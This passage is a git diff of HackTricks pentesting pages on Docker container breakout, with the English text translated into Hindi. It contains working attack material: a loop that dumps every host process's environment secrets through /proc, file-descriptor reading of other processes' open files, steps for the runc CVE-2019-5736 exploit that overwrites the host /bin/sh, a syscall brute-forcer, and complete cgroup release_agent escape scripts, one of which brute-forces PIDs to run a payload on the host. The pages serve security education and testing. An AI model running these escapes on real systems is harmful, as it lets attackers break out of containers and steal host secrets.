लागू करके जो **ब्लॉक डिवाइस पढ़ने/लिखने के संचालन को रोकती है**। फिर भी, यदि एक ब्लॉक डिवाइस **कंटेनर के अंदर बनाया गया है**, तो यह कंटेनर के बाहर **/proc/PID/root/** निर्देशिका के माध्यम से सुलभ हो जाता है। इस पहुंच के लिए **प्रक्रिया के मालिक का एक जैसा होना आवश्यक है** कंटेनर के अंदर और बाहर दोनों। +**शोषण** का उदाहरण इस [**लेख**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/) से: ```bash # On the container as root cd / @@ -422,19 +387,15 @@ augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_ augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda HTB{7h4T_w45_Tr1cKy_1_D4r3_54y} ``` - ### hostPID -If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab: - +यदि आप होस्ट की प्रक्रियाओं तक पहुँच सकते हैं, तो आप उन प्रक्रियाओं में संग्रहीत बहुत सारी संवेदनशील जानकारी तक पहुँचने में सक्षम होंगे। परीक्षण प्रयोगशाला चलाएँ: ``` docker run --rm -it --pid=host ubuntu bash ``` +उदाहरण के लिए, आप `ps auxn` जैसे कुछ का उपयोग करके प्रक्रियाओं की सूची बना सकेंगे और कमांड में संवेदनशील विवरणों की खोज कर सकेंगे। -For example, you will be able to list the processes using something like `ps auxn` and search for sensitive details in the commands. - -Then, as you can **access each process of the host in /proc/ you can just steal their env secrets** running: - +फिर, क्योंकि आप **/proc/ में होस्ट की प्रत्येक प्रक्रिया तक पहुँच सकते हैं, आप बस उनके env secrets चुरा सकते हैं** चलाते हुए: ```bash for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done /proc/988058/environ @@ -443,9 +404,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql USER=abrgocd ... ``` - -You can also **access other processes file descriptors and read their open files**: - +आप अन्य प्रक्रियाओं के फ़ाइल डिस्क्रिप्टर्स तक भी **पहुँच सकते हैं और उनके खुले फ़ाइलों को पढ़ सकते हैं**: ```bash for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt less fds.txt @@ -455,91 +414,76 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp # You can open the secret filw with: cat /proc/635813/fd/4 ``` - -You can also **kill processes and cause a DoS**. +आप **प्रक्रियाओं को समाप्त कर सकते हैं और DoS का कारण बन सकते हैं**। > [!WARNING] -> If you somehow have privileged **access over a process outside of the container**, you could run something like `nsenter --target --all` or `nsenter --target --mount --net --pid --cgroup` to **run a shell with the same ns restrictions** (hopefully none) **as that process.** +> यदि आपके पास किसी प्रक्रिया पर **कंटेनर के बाहर विशेषाधिकार प्राप्त पहुंच** है, तो आप कुछ ऐसा चला सकते हैं जैसे `nsenter --target --all` या `nsenter --target --mount --net --pid --cgroup` ताकि आप **उस प्रक्रिया के समान ns प्रतिबंधों के साथ एक शेल चला सकें** (उम्मीद है कि कोई नहीं)। ### hostNetwork - ``` docker run --rm -it --network=host ubuntu bash ``` +यदि एक कंटेनर को Docker [होस्ट नेटवर्किंग ड्राइवर (`--network=host`)](https://docs.docker.com/network/host/) के साथ कॉन्फ़िगर किया गया था, तो उस कंटेनर का नेटवर्क स्टैक Docker होस्ट से अलग नहीं है (कंटेनर होस्ट के नेटवर्किंग नामस्थान को साझा करता है), और कंटेनर को अपना IP-पता आवंटित नहीं किया जाता है। दूसरे शब्दों में, **कंटेनर सभी सेवाओं को सीधे होस्ट के IP पर बाइंड करता है**। इसके अलावा, कंटेनर **सभी नेटवर्क ट्रैफ़िक को इंटरसेप्ट कर सकता है जो होस्ट** साझा इंटरफेस `tcpdump -i eth0` पर भेज और प्राप्त कर रहा है। -If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`. +उदाहरण के लिए, आप इसका उपयोग **होस्ट और मेटाडेटा इंस्टेंस के बीच ट्रैफ़िक को स्निफ़ और यहां तक कि स्पूफ करने** के लिए कर सकते हैं। -For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance. - -Like in the following examples: +जैसे कि निम्नलिखित उदाहरणों में: - [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) - [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/) -You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access). +आप **होस्ट के अंदर लोकलहोस्ट पर बाइंड की गई नेटवर्क सेवाओं** तक भी पहुंच सकते हैं या यहां तक कि **नोड के मेटाडेटा अनुमतियों** तक पहुंच सकते हैं (जो कि उन अनुमतियों से भिन्न हो सकते हैं जिन तक एक कंटेनर पहुंच सकता है)। ### hostIPC - ```bash docker run --rm -it --ipc=host ubuntu bash ``` +`hostIPC=true` के साथ, आप होस्ट के इंटर-प्रोसेस संचार (IPC) संसाधनों, जैसे कि **शेयर की गई मेमोरी** में `/dev/shm` तक पहुंच प्राप्त करते हैं। यह पढ़ने/लिखने की अनुमति देता है जहां समान IPC संसाधनों का उपयोग अन्य होस्ट या पॉड प्रक्रियाओं द्वारा किया जाता है। इन IPC तंत्रों की और जांच करने के लिए `ipcs` का उपयोग करें। -With `hostIPC=true`, you gain access to the host's inter-process communication (IPC) resources, such as **shared memory** in `/dev/shm`. This allows reading/writing where the same IPC resources are used by other host or pod processes. Use `ipcs` to inspect these IPC mechanisms further. +- **/dev/shm का निरीक्षण करें** - इस साझा मेमोरी स्थान में किसी भी फ़ाइलों की तलाश करें: `ls -la /dev/shm` +- **मौजूदा IPC सुविधाओं का निरीक्षण करें** – आप देख सकते हैं कि क्या कोई IPC सुविधाएं उपयोग में हैं `/usr/bin/ipcs` के साथ। इसे जांचें: `ipcs -a` -- **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm` -- **Inspect existing IPC facilities** – You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a` - -### Recover capabilities - -If the syscall **`unshare`** is not forbidden you can recover all the capabilities running: +### क्षमताओं को पुनर्प्राप्त करें +यदि syscall **`unshare`** प्रतिबंधित नहीं है, तो आप सभी क्षमताओं को पुनर्प्राप्त कर सकते हैं: ```bash unshare -UrmCpf bash # Check them with cat /proc/self/status | grep CapEff ``` +### उपयोगकर्ता नामस्थान का दुरुपयोग सिम्लिंक के माध्यम से -### User namespace abuse via symlink - -The second technique explained in the post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files). - -
- -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} +पोस्ट में समझाई गई दूसरी तकनीक [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) बताती है कि आप उपयोगकर्ता नामस्थान के साथ बाइंड माउंट्स का दुरुपयोग कैसे कर सकते हैं, ताकि होस्ट के अंदर फ़ाइलों को प्रभावित किया जा सके (उस विशेष मामले में, फ़ाइलों को हटाना)। ## CVEs -### Runc exploit (CVE-2019-5736) +### Runc शोषण (CVE-2019-5736) -In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload. +यदि आप `docker exec` को रूट के रूप में निष्पादित कर सकते हैं (संभवतः sudo के साथ), तो आप CVE-2019-5736 का दुरुपयोग करते हुए कंटेनर से बाहर निकलकर विशेषाधिकार बढ़ाने की कोशिश करते हैं (शोषण [यहां](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go) है)। यह तकनीक मूल रूप से **ओवरराइट** करेगी _**/bin/sh**_ बाइनरी को **होस्ट** **से** **कंटेनर** से, इसलिए कोई भी जो docker exec निष्पादित करेगा, वह पेलोड को ट्रिगर कर सकता है। -Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\ -Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine: +पेलोड को तदनुसार बदलें और `go build main.go` के साथ main.go बनाएं। परिणामी बाइनरी को निष्पादन के लिए डॉकर कंटेनर में रखा जाना चाहिए।\ +निष्पादन के बाद, जैसे ही यह `[+] Overwritten /bin/sh successfully` प्रदर्शित करता है, आपको होस्ट मशीन से निम्नलिखित निष्पादित करना होगा: `docker exec -it /bin/sh` -This will trigger the payload which is present in the main.go file. +यह पेलोड को ट्रिगर करेगा जो main.go फ़ाइल में मौजूद है। -For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) +अधिक जानकारी के लिए: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) > [!NOTE] -> There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) +> कंटेनर अन्य CVEs के प्रति संवेदनशील हो सकता है, आप [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) में सूची पा सकते हैं। -## Docker Custom Escape +## डॉकर कस्टम एस्केप -### Docker Escape Surface +### डॉकर एस्केप सतह -- **Namespaces:** The process should be **completely separated from other processes** via namespaces, so we cannot escape interacting with other procs due to namespaces (by default cannot communicate via IPCs, unix sockets, network svcs, D-Bus, `/proc` of other procs). -- **Root user**: By default the user running the process is the root user (however its privileges are limited). -- **Capabilities**: Docker leaves the following capabilities: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` -- **Syscalls**: These are the syscalls that the **root user won't be able to call** (because of lacking capabilities + Seccomp). The other syscalls could be used to try to escape. +- **नामस्थान:** प्रक्रिया को अन्य प्रक्रियाओं से **पूर्ण रूप से अलग** होना चाहिए, ताकि हम नामस्थान के कारण अन्य प्रॉक्स के साथ बातचीत करते समय बाहर न निकल सकें (डिफ़ॉल्ट रूप से IPCs, यूनिक्स सॉकेट, नेटवर्क सेवाओं, D-Bus, `/proc` अन्य प्रॉक्स के माध्यम से संवाद नहीं कर सकते)। +- **रूट उपयोगकर्ता**: डिफ़ॉल्ट रूप से प्रक्रिया चलाने वाला उपयोगकर्ता रूट उपयोगकर्ता है (हालांकि इसके विशेषाधिकार सीमित हैं)। +- **क्षमताएँ**: डॉकर निम्नलिखित क्षमताएँ छोड़ता है: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` +- **सिस्टम कॉल**: ये सिस्टम कॉल हैं जिन्हें **रूट उपयोगकर्ता नहीं बुला सकेगा** (क्षमताओं की कमी + Seccomp के कारण)। अन्य सिस्टम कॉल का उपयोग बाहर निकलने की कोशिश करने के लिए किया जा सकता है। {{#tabs}} {{#tab name="x64 syscalls"}} - ```yaml 0x067 -- syslog 0x070 -- setsid @@ -560,11 +504,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape 0x140 -- kexec_file_load 0x141 -- bpf ``` - {{#endtab}} {{#tab name="arm64 syscalls"}} - ``` 0x029 -- pivot_root 0x059 -- acct @@ -582,11 +524,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape 0x111 -- finit_module 0x118 -- bpf ``` - {{#endtab}} {{#tab name="syscall_bf.c"}} - ````c // From a conversation I had with @arget131 // Fir bfing syscalss in x64 @@ -598,31 +538,32 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape int main() { - for(int i = 0; i < 333; ++i) - { - if(i == SYS_rt_sigreturn) continue; - if(i == SYS_select) continue; - if(i == SYS_pause) continue; - if(i == SYS_exit_group) continue; - if(i == SYS_exit) continue; - if(i == SYS_clone) continue; - if(i == SYS_fork) continue; - if(i == SYS_vfork) continue; - if(i == SYS_pselect6) continue; - if(i == SYS_ppoll) continue; - if(i == SYS_seccomp) continue; - if(i == SYS_vhangup) continue; - if(i == SYS_reboot) continue; - if(i == SYS_shutdown) continue; - if(i == SYS_msgrcv) continue; - printf("Probando: 0x%03x . . . ", i); fflush(stdout); - if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM)) - printf("Error\n"); - else - printf("OK\n"); - } +for(int i = 0; i < 333; ++i) +{ +if(i == SYS_rt_sigreturn) continue; +if(i == SYS_select) continue; +if(i == SYS_pause) continue; +if(i == SYS_exit_group) continue; +if(i == SYS_exit) continue; +if(i == SYS_clone) continue; +if(i == SYS_fork) continue; +if(i == SYS_vfork) continue; +if(i == SYS_pselect6) continue; +if(i == SYS_ppoll) continue; +if(i == SYS_seccomp) continue; +if(i == SYS_vhangup) continue; +if(i == SYS_reboot) continue; +if(i == SYS_shutdown) continue; +if(i == SYS_msgrcv) continue; +printf("Probando: 0x%03x . . . ", i); fflush(stdout); +if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM)) +printf("Error\n"); +else +printf("OK\n"); +} } ``` + ```` {{#endtab}} @@ -633,12 +574,12 @@ int main() If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode): - Find the **path of the containers filesystem** inside the host - - You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit +- You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit - Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens - - You should be able to **execute the trigger from inside the host** - - You need to know where the containers files are located inside the host to indicate a script you write inside the host +- You should be able to **execute the trigger from inside the host** +- You need to know where the containers files are located inside the host to indicate a script you write inside the host - Have **enough capabilities and disabled protections** to be able to abuse that functionality - - You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container +- You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container ## References @@ -650,11 +591,4 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new - [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket) - [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4) -
- -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index 7d16ec4a4..30466dd61 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -2,10 +2,9 @@ {{#include ../../../../banners/hacktricks-training.md}} -**For further details, refer to the** [**original blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** This is just a summary: +**अधिक जानकारी के लिए, कृपया** [**मूल ब्लॉग पोस्ट**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)** को देखें।** यह केवल एक सारांश है: Original PoC: - ```shell d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release @@ -13,49 +12,38 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o ``` +प्रूफ ऑफ कॉन्सेप्ट (PoC) cgroups का शोषण करने के लिए एक विधि का प्रदर्शन करता है, जिसमें एक `release_agent` फ़ाइल बनाई जाती है और इसके कार्यान्वयन को ट्रिगर करके कंटेनर होस्ट पर मनमाने कमांड निष्पादित किए जाते हैं। इसमें शामिल चरणों का विवरण इस प्रकार है: -The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved: - -1. **Prepare the Environment:** - - A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup. - - The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative. - +1. **पर्यावरण तैयार करें:** +- एक निर्देशिका `/tmp/cgrp` बनाई जाती है जो cgroup के लिए माउंट पॉइंट के रूप में कार्य करती है। +- RDMA cgroup नियंत्रक को इस निर्देशिका में माउंट किया जाता है। यदि RDMA नियंत्रक अनुपस्थित है, तो वैकल्पिक के रूप में `memory` cgroup नियंत्रक का उपयोग करने की सिफारिश की जाती है। ```shell mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x ``` - -2. **Set Up the Child Cgroup:** - - A child cgroup named "x" is created within the mounted cgroup directory. - - Notifications are enabled for the "x" cgroup by writing 1 to its notify_on_release file. - +2. **बच्चे का Cgroup सेट करें:** +- एक बच्चे का cgroup जिसका नाम "x" है, माउंट किए गए cgroup निर्देशिका के भीतर बनाया गया है। +- "x" cgroup के लिए सूचनाएँ सक्षम की गई हैं, इसके notify_on_release फ़ाइल में 1 लिखकर। ```shell echo 1 > /tmp/cgrp/x/notify_on_release ``` - -3. **Configure the Release Agent:** - - The path of the container on the host is obtained from the /etc/mtab file. - - The release_agent file of the cgroup is then configured to execute a script named /cmd located at the acquired host path. - +3. **रिलीज एजेंट कॉन्फ़िगर करें:** +- होस्ट पर कंटेनर का पथ /etc/mtab फ़ाइल से प्राप्त किया जाता है। +- फिर cgroup की release_agent फ़ाइल को प्राप्त किए गए होस्ट पथ पर स्थित /cmd नामक स्क्रिप्ट को निष्पादित करने के लिए कॉन्फ़िगर किया जाता है। ```shell host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` - -4. **Create and Configure the /cmd Script:** - - The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container. The full path of /output on the host is specified. - +4. **/create और Configure करें /cmd Script:** +- /cmd स्क्रिप्ट कंटेनर के अंदर बनाई जाती है और इसे ps aux को निष्पादित करने के लिए कॉन्फ़िगर किया जाता है, जिसका आउटपुट कंटेनर में /output नामक फ़ाइल में पुनर्निर्देशित किया जाता है। होस्ट पर /output का पूरा पथ निर्दिष्ट किया गया है। ```shell echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd ``` - -5. **Trigger the Attack:** - - A process is initiated within the "x" child cgroup and is immediately terminated. - - This triggers the `release_agent` (the /cmd script), which executes ps aux on the host and writes the output to /output within the container. - +5. **हमला शुरू करें:** +- "x" चाइल्ड cgroup के भीतर एक प्रक्रिया शुरू की जाती है और तुरंत समाप्त कर दी जाती है। +- यह `release_agent` (the /cmd script) को सक्रिय करता है, जो होस्ट पर ps aux चलाता है और आउटपुट को कंटेनर के भीतर /output पर लिखता है। ```shell sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md index 5c3c57d9f..e0531f12a 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md @@ -1,27 +1,26 @@ {{#include ../../../../banners/hacktricks-training.md}} -For further details **check the blog port from [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. This is just a summary: +अधिक जानकारी के लिए **[https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)** से ब्लॉग पोर्ट देखें। यह केवल एक सारांश है: -The technique outlines a method for **executing host code from within a container**, overcoming challenges posed by storage-driver configurations that obscure the container's filesystem path on the host, like Kata Containers or specific `devicemapper` settings. +यह तकनीक **कंटेनर के भीतर से होस्ट कोड निष्पादित करने** के लिए एक विधि का वर्णन करती है, जो स्टोरेज-ड्राइवर कॉन्फ़िगरेशन द्वारा उत्पन्न चुनौतियों को पार करती है जो होस्ट पर कंटेनर की फ़ाइल सिस्टम पथ को अस्पष्ट करती हैं, जैसे कि Kata Containers या विशिष्ट `devicemapper` सेटिंग्स। -Key steps: +मुख्य कदम: -1. **Locating Process IDs (PIDs):** Using the `/proc//root` symbolic link in the Linux pseudo-filesystem, any file within the container can be accessed relative to the host's filesystem. This bypasses the need to know the container's filesystem path on the host. -2. **PID Bashing:** A brute force approach is employed to search through PIDs on the host. This is done by sequentially checking for the presence of a specific file at `/proc//root/`. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container. -3. **Triggering Execution:** The guessed PID path is written to the `cgroups release_agent` file. This action triggers the execution of the `release_agent`. The success of this step is confirmed by checking for the creation of an output file. +1. **प्रक्रिया आईडी (PIDs) का पता लगाना:** Linux प्सेडो-फाइल सिस्टम में `/proc//root` प्रतीकात्मक लिंक का उपयोग करके, कंटेनर के भीतर किसी भी फ़ाइल को होस्ट के फ़ाइल सिस्टम के सापेक्ष एक्सेस किया जा सकता है। यह होस्ट पर कंटेनर के फ़ाइल सिस्टम पथ को जानने की आवश्यकता को दरकिनार करता है। +2. **PID बाशिंग:** होस्ट पर PIDs के माध्यम से खोजने के लिए एक ब्रूट फोर्स दृष्टिकोण का उपयोग किया जाता है। यह `/proc//root/` पर एक विशिष्ट फ़ाइल की उपस्थिति की जांच करके किया जाता है। जब फ़ाइल मिलती है, तो यह संकेत करता है कि संबंधित PID उस प्रक्रिया से संबंधित है जो लक्षित कंटेनर के भीतर चल रही है। +3. **निष्पादन को ट्रिगर करना:** अनुमानित PID पथ को `cgroups release_agent` फ़ाइल में लिखा जाता है। यह क्रिया `release_agent` के निष्पादन को ट्रिगर करती है। इस चरण की सफलता की पुष्टि आउटपुट फ़ाइल के निर्माण की जांच करके की जाती है। -### Exploitation Process +### शोषण प्रक्रिया -The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container. Here's how it unfolds: +शोषण प्रक्रिया में अधिक विस्तृत क्रियाओं का एक सेट शामिल है, जिसका उद्देश्य कंटेनर के भीतर चल रही प्रक्रिया के सही PID का अनुमान लगाकर होस्ट पर एक पेलोड निष्पादित करना है। यह इस प्रकार विकसित होता है: -1. **Initialize Environment:** A payload script (`payload.sh`) is prepared on the host, and a unique directory is created for cgroup manipulation. -2. **Prepare Payload:** The payload script, which contains the commands to be executed on the host, is written and made executable. -3. **Set Up Cgroup:** The cgroup is mounted and configured. The `notify_on_release` flag is set to ensure that the payload executes when the cgroup is released. -4. **Brute Force PID:** A loop iterates through potential PIDs, writing each guessed PID to the `release_agent` file. This effectively sets the payload script as the `release_agent`. -5. **Trigger and Check Execution:** For each PID, the cgroup's `cgroup.procs` is written to, triggering the execution of the `release_agent` if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution. - -PoC from the blog post: +1. **पर्यावरण प्रारंभ करें:** होस्ट पर एक पेलोड स्क्रिप्ट (`payload.sh`) तैयार की जाती है, और cgroup हेरफेर के लिए एक अद्वितीय निर्देशिका बनाई जाती है। +2. **पेलोड तैयार करें:** पेलोड स्क्रिप्ट, जिसमें होस्ट पर निष्पादित होने वाले आदेश शामिल हैं, लिखी जाती है और इसे निष्पादन योग्य बनाया जाता है। +3. **Cgroup सेट करें:** cgroup को माउंट और कॉन्फ़िगर किया जाता है। यह सुनिश्चित करने के लिए `notify_on_release` ध्वज सेट किया जाता है कि जब cgroup को रिलीज़ किया जाता है, तो पेलोड निष्पादित होता है। +4. **ब्रूट फोर्स PID:** एक लूप संभावित PIDs के माध्यम से दोहराता है, प्रत्येक अनुमानित PID को `release_agent` फ़ाइल में लिखता है। यह प्रभावी रूप से पेलोड स्क्रिप्ट को `release_agent` के रूप में सेट करता है। +5. **निष्पादन को ट्रिगर और जांचें:** प्रत्येक PID के लिए, cgroup का `cgroup.procs` लिखा जाता है, यदि PID सही है तो `release_agent` के निष्पादन को ट्रिगर करता है। लूप तब तक जारी रहता है जब तक पेलोड स्क्रिप्ट का आउटपुट नहीं मिल जाता, जो सफल निष्पादन को इंगित करता है। +ब्लॉग पोस्ट से PoC: ```bash #!/bin/sh @@ -60,20 +59,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release TPID=1 while [ ! -f ${OUTPUT_PATH} ] do - if [ $((${TPID} % 100)) -eq 0 ] - then - echo "Checking pid ${TPID}" - if [ ${TPID} -gt ${MAX_PID} ] - then - echo "Exiting at ${MAX_PID} :-(" - exit 1 - fi - fi - # Set the release_agent path to the guessed pid - echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent - # Trigger execution of the release_agent - sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" - TPID=$((${TPID} + 1)) +if [ $((${TPID} % 100)) -eq 0 ] +then +echo "Checking pid ${TPID}" +if [ ${TPID} -gt ${MAX_PID} ] +then +echo "Exiting at ${MAX_PID} :-(" +exit 1 +fi +fi +# Set the release_agent path to the guessed pid +echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent +# Trigger execution of the release_agent +sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" +TPID=$((${TPID} + 1)) done # Wait for and cat the output @@ -81,5 +80,4 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index 718263059..417acb0f3 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -2,172 +2,168 @@ {{#include ../../../../banners/hacktricks-training.md}} -
+`/proc` और `/sys` का उचित namespace isolation के बिना खुलासा महत्वपूर्ण सुरक्षा जोखिमों को जन्म देता है, जिसमें हमले की सतह का विस्तार और जानकारी का खुलासा शामिल है। ये निर्देशिकाएँ संवेदनशील फ़ाइलें रखती हैं जो, यदि गलत तरीके से कॉन्फ़िगर की गईं या किसी अनधिकृत उपयोगकर्ता द्वारा एक्सेस की गईं, तो कंटेनर से भागने, होस्ट में संशोधन, या आगे के हमलों में मदद करने वाली जानकारी प्रदान कर सकती हैं। उदाहरण के लिए, `-v /proc:/host/proc` को गलत तरीके से माउंट करना AppArmor सुरक्षा को बायपास कर सकता है, जिससे `/host/proc` असुरक्षित रह जाता है। -{% embed url="https://websec.nl/" %} - -The exposure of `/proc` and `/sys` without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting `-v /proc:/host/proc` can bypass AppArmor protection due to its path-based nature, leaving `/host/proc` unprotected. - -**You can find further details of each potential vuln in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** +**आप प्रत्येक संभावित vuln के बारे में और विवरण पा सकते हैं** 